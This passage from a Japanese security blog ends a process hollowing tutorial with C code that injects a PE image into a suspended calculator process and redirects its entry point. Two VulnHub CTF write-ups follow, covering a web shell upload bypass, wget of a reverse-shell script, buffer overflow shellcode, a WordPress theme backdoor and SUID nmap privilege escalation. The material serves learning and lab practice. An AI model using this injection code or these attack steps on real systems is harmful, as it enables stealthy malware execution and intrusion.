/////////////////////////////////////////////////// // ベース再配置処理 pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress; // NTヘッダ部分を先んじて書き込む printf("Writing headers\r\n"); WriteProcessMemory( pProcessInfo->hProcess, pPEB->ImageBaseAddress, pBuffer, pSourceHeaders->OptionalHeader.SizeOfHeaders, 0); // 続いてセクション分書き込むためのループ for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++) { if (!pSourceImage->Sections[x].PointerToRawData) continue; // セクションの書き込み先となるポインタを決定 PVOID pSectionDestination = (PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress); printf("Writing %s section to 0x%p\r\n", pSourceImage->Sections[x].Name, pSectionDestination); WriteProcessMemory( pProcessInfo->hProcess, pSectionDestination, &pBuffer[pSourceImage->Sections[x].PointerToRawData], pSourceImage->Sections[x].SizeOfRawData, 0); } // リンカが想定したImageBaseAddressと、実際にロードしたImageBaseAddressの差 DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress - pSourceHeaders->OptionalHeader.ImageBase; if (dwDelta) for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++) { char *pSectionName = ".reloc"; // セクション名が.reloc以外なら続行 if (memcmp(pSourceImage->Sections[x].Name, pSectionName, strlen(pSectionName))) continue; printf("Rebasing image\r\n"); DWORD dwRelocAddr = pSourceImage->Sections[x].PointerToRawData; DWORD dwOffset = 0; // 再配置テーブルへのポインタを取得 IMAGE_DATA_DIRECTORY relocData = pSourceHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; // 再配置テーブルのサイズ分ループ while (dwOffset < relocData.Size) { PBASE_RELOCATION_BLOCK pBlockheader = (PBASE_RELOCATION_BLOCK)&pBuffer[dwRelocAddr + dwOffset]; // インクリメント dwOffset += sizeof(BASE_RELOCATION_BLOCK); DWORD dwEntryCount = CountRelocationEntries(pBlockheader->BlockSize); PBASE_RELOCATION_ENTRY pBlocks = (PBASE_RELOCATION_ENTRY)&pBuffer[dwRelocAddr + dwOffset]; for (DWORD y = 0; y < dwEntryCount; y++) { // インクリメント dwOffset += sizeof(BASE_RELOCATION_ENTRY); // タイプが0なら再配置の必要なし if (pBlocks[y].Type == 0) continue; // 再配置が必要なフィールドのアドレスを求める DWORD dwFieldAddress = pBlockheader->PageAddress + pBlocks[y].Offset; DWORD dwBuffer = 0; // 再配置が必要なフィールドの読み込み ReadProcessMemory( pProcessInfo->hProcess, (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress), &dwBuffer, sizeof(DWORD), 0); printf("Relocating 0x%p -> 0x%p\r\n", dwBuffer, dwBuffer + dwDelta); dwBuffer += dwDelta; // 再配置が必要なフィールドの修正 BOOL bSuccess = WriteProcessMemory( pProcessInfo->hProcess, (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress), &dwBuffer, sizeof(DWORD), 0); } } break; } ///////////////////////////////////////////////////
まず1度イメージ全体を自プロセスのメモリ空間にロードする。
リンカが想定したImageBaseAddressと、実際にロードしたImageBaseAddressの差Deltaが0でない場合ベース再配置が必要で、.relocセクションに格納されている再配置テーブルを修正する。
再配置テーブルへのポインタはpSourceHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]
で取得している。
PEViewで実際に適当なプログラムの.relocセクションをみてみると次のようになっており、再配置テーブルの構造がわかりやすいのではないかと思う。 またここではBASE_RELOCATION_BLOCK構造体とBASE_RELOCATION_ENTRY構造体が次のように定義されていることに注意して欲しい。
typedef struct BASE_RELOCATION_BLOCK { DWORD PageAddress; // 再配置を行うベースとなるRVA DWORD BlockSize; // 再配置ブロックのサイズ } BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK; typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; // 上位12bitがVirtualAddress からのオフセット USHORT Type : 4; // 下位4ビットで再配置のタイプ } BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
BASE_RELOCATION_BLOCK構造体の直後にBASE_RELOCATION_ENTRY構造体がBASE_RELOCATION_BLOCK構造体のサイズも含めた値BlockSizeだけ延々と繰り返される。
PageAddressにOffsetを足すことで再配置を行うべきRVAを求め、dwDeltaを足すことで再配置計算が完了する。
スレッドコンテキストの編集
ターゲットプロセスへイメージのロードが完了したら、プロセススレッドのコンテキストを調整して完了だ。
/////////////////////////////////////////////////// // スレッドコンテキストの編集 // エントリーポイントの取得 DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress + pSourceHeaders->OptionalHeader.AddressOfEntryPoint; LPCONTEXT pContext = new CONTEXT(); pContext->ContextFlags = CONTEXT_INTEGER; printf("Getting thread context\r\n"); // ターゲットプロセスのスレッドコンテキスト情報を取得 GetThreadContext(pProcessInfo->hThread, pContext); // エントリーポイントの書き換え pContext->Eax = dwEntrypoint; printf("Setting thread context\r\n"); // スレッドコンテキストの更新 SetThreadContext(pProcessInfo->hThread, pContext); printf("Resuming thread\r\n"); // ターゲットプロセスのをResume ResumeThread(pProcessInfo->hThread); printf("Process hollowing complete\r\n"); ///////////////////////////////////////////////////
動作の様子
以上のコードをコンパイルして実際に動作させてみる。
— ry0kvn (@ry0kvn) 2019年12月19日
確かに電卓からメッセージボックスがポップアップしている。 またプロセスエディタで電卓にアタッチしておけばアンマップの様子やリロケーションの様子も見ることができる。
今回は簡便のためコマンドプロンプトにデバッグ情報を出力しているが、当然ながら適切なプロセスをProcess Hollowing対象にすることで、タスクバーを含めて画面上からは一切の動作の様子を確認できなくすることも可能だ。
まとめ
ここまで読んでもらえた方には分かると思うがこのプログラムは32bitアプリケーションでしか動作しない。また悪用回避のためにただコードを繋げるだけではコンパイルできなくしている。
Process Hollowingはレガシーなテクニックだが、私にとってはリモートプロセスの操作やPEファイルの扱い、さらにはベース再配置などのイメージローダーが担う機能の一部分の再実装を通して、普段扱わない部分に触れる貴重な学習となった。繰り返しになるが、これを読まれた方に検知と回避についてその仕組みから考える機会となれば幸いである。
VulnHubのIMF: 1をやってみたよ~!
VulnHubのIMF: 1をやってみたよ~!ということでやっていく。
まずはnetdiscoverでIMF VMのアドレスを取得。
アドレスが分かったら次はNmapでポートスキャン。
80番ポートでApacheが動いていることがわかる。
アクセスしてみた結果が次の画像。
かっこいいページだがここにはヒントはなさそう。
違うページをあさっているとcontactページのソースにフラッグを発見した。
ざっとみてスルーしてしまいそうだったが、なんとなくブラウザのページ内検索を試したら見つかった。あぶないあぶない。
さて、他に隠されたページはないかdirbを使って辞書ベースのページ探索をしてみる。
特になさそうだ。
niktoでサイトに脆弱性がないか試してみる。
うむ…とくになさそう。
早くもどうしようかとウロウロしていると先程見つけたフラッグの中身がBase64でエンコードされた文字列であることに気づいた。
さっそくデコードしてみる。
ふむふむ?
ファイルが関係する…のか?
これまでのところファイルが見えるのはページのソースだけなので再度チェックしてみる。
サイトのソースをくまなく見ていくと次の画像の部分でそれをみつけた。
3つの文字列をつなげてからデコードしてみる。
フラッグゲット!
が、またしてもエンコードされているのでデコードする。
どういうことだろう・・・?
ページ名か…?
おお、合ってた。
ログインページさんこんにちは。
適当に試してももちろんログインできないのでソースを見てみる。
ソースにRogerというユーザー名が見つかった。
これをつかって何度かログインを試してみたうまく行かず。
contactページでいくつかメールアドレスやユーザー名が見つかっていたので、それらをもとにcewlを使って簡単なワードリストを作る。
ワードリストにRogerも追加して…
Burpsuiteでユーザー名とパスワードを格納するパラメータも入手し、準備は万端。
hydraでブルートフォースアタック!
が…うまくいかない…
ログイン可能な組み合わせは見つからなかった。
脆弱性を使うのかと、Apache2.4.18の脆弱性について調べて回ったが利用できそうなものは見あたらない。
裏でphpが動いていることはわかっているのでphpのlogin処理をbypassする方向で調べを進めたがこれもうまくいかない。
sqlインジェクションの脆弱性があるのかとあれこれ試してみたがこれもだめ。
ただユーザー名がrmichaelsであることはレスポンスから判別することができた。
結局writeupを見た。
burpsuiteを使ってパスワードを受け取る変数をpass=をpass[]=にしてやるとうまくいくということだ。
そのレスポンスとして次のページが帰ってきた。
フラッグの文字列をデコードしたのが次の画像。
またリンクをクリックすると次のページに飛んだ。
URLをよく見ると引数を受け取っていることがわかる。
これは脆弱性がありそうだ。
試しにクォーテーションだけを与えてやるとさっそくエラーが出た。
sqlmapでmysqlを攻撃可能か調べる。
脆弱性があるといろいろ表示されるので試しに次の画像のコマンドでテーブルを表示する。
得られたテーブルで特に気になったのが次の画像だ。
ページ名とおぼしき文字列が得られている。
アクセスしてみる。
ふーむ、画像にQRコードが含まれていることがわかる。
https://zxing.org/w/decode.jspx
このサイトでQRコードを読み取るとフラグが得られた。
デコードしてみる。
まーたページ名かな?
アクセスしてみる。
アップロードフォームだ。
リモートシェルを返すスクリプトをphpで書いてアップロードしてみる。
が、phpファイルはアップロードを許可されていなかった。
拡張子だけをみて判定していると考え、先程のファイルの拡張子をjpgに変えて再度アップロードする。
すると今度はeval関数が含まれているため許可されないとレスポンスが帰ってきた。
結局私はGIFファイルシグネチャーをヘッダーに付与した非常に簡素なWebシェルをアップロードすることでこのWAFを回避した。
次の画像が実際にアップロードに使用したgifファイルだ。
このファイルを呼び出すことができれば引数に与えたコマンドを実行できる。
uploadディレクトリ配下に格納されると考えいくつか適当なURLにアクセスしたがページが見つからないとレスポンスが帰ってくる。
ディレクト構造に調べたりと散々苦労したあと、アップロードフォームのソースに次の文字列を発見した。
緑色にコメントアウトされているのがその文字列である。
私は最初、この文字列が何を意味するのかわからなかった。
何度かファイルをアップロードし直したりする中で、この文字列が変化していることに気づいた。
おそらくこれがアップロード後のファイル名なのではないか?
ファイル名がハッシュ値のような形に変換されているのではないかと考えた。
実際にURLのファイル名を、この16進数表記された文字列に変えてアクセスして見るとコマンドの結果が表示された。
lsコマンドを渡すと、フラッグが同ディレクトリ内にあることがわかったのでcatで表示させたのが次の画像。
デコードすると次のような文字列を得られた。
ここまでたどり着くのにかなりの時間を要した。
無事フラグも回収できたので、気を取り直して次のステップに進もう。
Webシェルの引数にwgetコマンドを与え、Kaliに置いてあるリバースシェルを張るスクリプトをダウンロードさせる。
次に、URL上でスクリプトを指定して実行させると、無事シェルが得られた。
シェルが得られたら次にすべきことは権限昇格だ。
PoCを使ってカーネルエクスプロイトを狙いたいがおそらくこれまでの流れから察するにうまくいかない。
先のフラッグで得られたagentservicesというヒントを使っていきたい。
netstatで裏でどんなサーバーサービスが待ち受けているのかを表示したのが次の画像。
7788番ポートでLISTENがある。
Agetn IDを求めるプログラムが動いていた。
明らかにこのプログラムが次の攻略対象だと思われる。
また/usr/local/binにこのagentプログラムとaccess_codesというファイルを見つけた。
access_codesは何に使うんだろうか…?
とりあえずagentを解析するためにcatで出力し、Base64で表示可能な範囲に変換。
この文字列をKaliにコピペし、デコードすればファイルを実質ダウンロードしたことになる。
またIMF VMの方でpsコマンドを実行したところknockdを発見した。
これは予め決めておいた順にポートアクセスされたときに特定ポートを開放するというものだ。
さきほどのaccess_codeはおそらくknockするためのものだろう。
ためしにやってみる。
冒頭のNmapを使ったスキャンでは開いていたなかった7788番ポートにアクセスできるようになっている。
やはりこのagentプログラムを利用して権限昇格を狙うので間違いないだろう。
まずはstringsコマンドで簡単にプログラムに含まれる文字列をチェックする。
agentプログラムは最初にagent IDを求めてくる。
おそらくその部分の処理はstringsで表示された、strncmpで行われていると予想される。
ltraceでライブラリの呼び出しをチェックしてみる。
やはりそうだった。
agent IDは48093572だ。
次の入力で大量の文字列をインプットするとSegmentation faultを起こす。
このことからバッファオーバーフローを利用した攻撃が可能だと考えられる。
まずはバッファからeipを上書きできる場所までのオフセットを求める。
最初に一意な文字列を生成し、
edbをagentにアタッチさせた状態で、先程の文字列をagentにインプットする。
するとedbの方で次のような出力を得る。
eipが上書きされ、不法なアドレスにアクセスしようとした結果エラーが出たわけだ。
この文字列までのオフセットを次のコマンドで求める。
なるほど、バッファからeipを上書きできる部分までのオフセットは168だということだ。
したがってmsfcenomでリバースシェルを張るシェルコードを生成し、
見つけておいたcall eax(番地0x08048563)へと、eipが上書きされるように次のようにすれば権限昇格が狙える。
Netcatで待ち受けて…
よおし!!
ここまで長かった…
VulnHubのMr-Robot: 1をやってみたよ~!
VulnHubのMr-Robot: 1をやってみたよ~!ということでやっていく。
https://www.vulnhub.com/entry/mr-robot-1,151/
まずはアドレスを取得する。
ついでポートスキャン。
ふむ、80番ポートと443番ポートが開放されていることがわかる。
80番ポートでは単純なhttpが稼働していることがわかるのでアクセスしてみる。
めちゃくちゃかっこいいサイトが表示された。
コマンドプロンプトっぽいところへ実際にコマンドが打てるようだ。
全て試してみたが、どれからも次のステップに進むためのヒントは得られなかった。
niktoとdirbを使ってサイトのディレクトリを探索する。
niktoの結果からは特に得られるものはなかった。
次の画像はdirbの出力結果の一部。
WordPressが動いてることと、robots.txtがあることがわかる。
robots.txtにアクセスすると次のような表示を得た。
明らかにこれはファイル名だ。
wgetでダウンロードしてみる。
ファイルの中身を表示したのが次の画像。
最初にfsocity.dicをheadコマンドで出力している。
これは辞書ファイルで、おそらくブルートゥースアタックに使うものだと予想される。
key-1-of-3.txtは3つあるflagの1だと思われる。
さて、robots.txtから得られるものはもうなにもない。
dirbで得られた結果の解析に戻ろう。
先程実行したdirbの結果から、このサーバーにはWordPressがインストールされていることがわかっている。
アクセスしてみる。
もろにログインページだ。おそらく先程の辞書ファイルを使うのだろう。
パスワードリストとユーザー名リストにその辞書ファイルを指定し、WPScanでブルートフォースアタックを仕掛ける。
…が、単語数が多すぎて一向に終わらない。
もう一度辞書ファイルをよく見ると、単語の重複がかなりあることがわかった。
ソートし、uniqコマンドで重複を削除した後、再度ブルートフォースを仕掛ける。
…が、やはり単語数が多い。全く終わる気配がしない。
WPScanでスキャンをかけるもユーザー名などは見つからなかった。
また、有効な脆弱性も見つからない。
何か見落としがあると考え、dirbの出力結果をもう一度見直す。
結論から述べると、licenseというページにヒントがあった。
次の画像がlicenseをブラウザで開いた様子。
煽られている…?
うおおおおおおおおおおおお
デコードしてみる。
これは…ユーザー名とパスワード…?
WordPressのログインページで試してみる。
ログインできた!
とはいえ、ここからどうすればいいのか皆目見当がつかない。
シェルが得られたりしないのだろうか。
しばらくダッシュボードをいじくり回してみる。
…よくわからないので調べる。
次の記事が参考になった。
https://www.hackingarticles.in/wordpress-penetration-testing-using-wpscan-metasploit/
よし、やっと方向性が見えてきた。
例によってpentestmonkeyからコードを拝借する。
http://pentestmonkey.net/tools/web-shells/php-reverse-shell
プラグインにアップロードできるのはzipファイルだけなので、phpファイルをzipにして…
…ここで気がついたのだが、プラグインをアップロードしても、このコードを実行する方法がない。
もう一度上の記事をよく読んで見ると、どうやらプラグインをアップロードするのではなくて、既存のプラグインを書き換えることでバックドアを仕込むようだ。
記事を参考に404.phpを書き換える。
これなら適当なページにアクセスすることで、簡単にバックドアコードを実行させられる。
Netcatで待ち受けて…適当なページにアクセスする。
よし!たしかにリバースシェルが張られている。
カーネルエクスプロイトで権限昇格を狙う。
まずはエクスプロイトコードを照会。
Kali側でPythonを使った簡易サーバーをホストし、Mr-RobotVM側からエクスプロイトコードをwgetする。
…とはいかず。2,3他のコードも試してみたがうまく刺さらなかった。
残念ながらここでギブアップした。
これまでの経験から、権限昇格における私の手札は次のようなものだ。
カーネルエクスプロイト。
sudo -lでroot権限で実行を許可されているコマンドを見つけ、そこからroot権限のシェルをスポーンさせる。
同様の考えで、root権限で動くサービスからシェルをスポーンさせる。
root権限のcronで定期実行されるスクリプトを書き換える。
しかし今回はこのどれも使えなかった。
writeupを見ると次のような方法でroot権限を得ていた。
まずSUIDがrootのものをすべて列挙し、
今回はそのうちのNmapの利用している。
古いバージョンのNmapはユーザーがシェルコマンドを実行できる対話モードが実装されているらしい。
pingなどのネットワークユーティリティは実行にroot権限が必要な場合があり、Nmapもこれに該当する。
sudo -lが封じられていてもroot権限で動くものを探させるということが学べた。
さて、残りのフラッグは/home/robot/と/rootにあった。
Thanks to the Leon Johnson for this CTF!
前半はWPScanのオプションが変更されていることに気づかず時間を溶かしてしまった一方で、後半は新しい手法を学ぶことができた。
また、その過程でペンテストについて参考になるブログをたくさん見つけることができた。熟読して手札を増やしていきたい。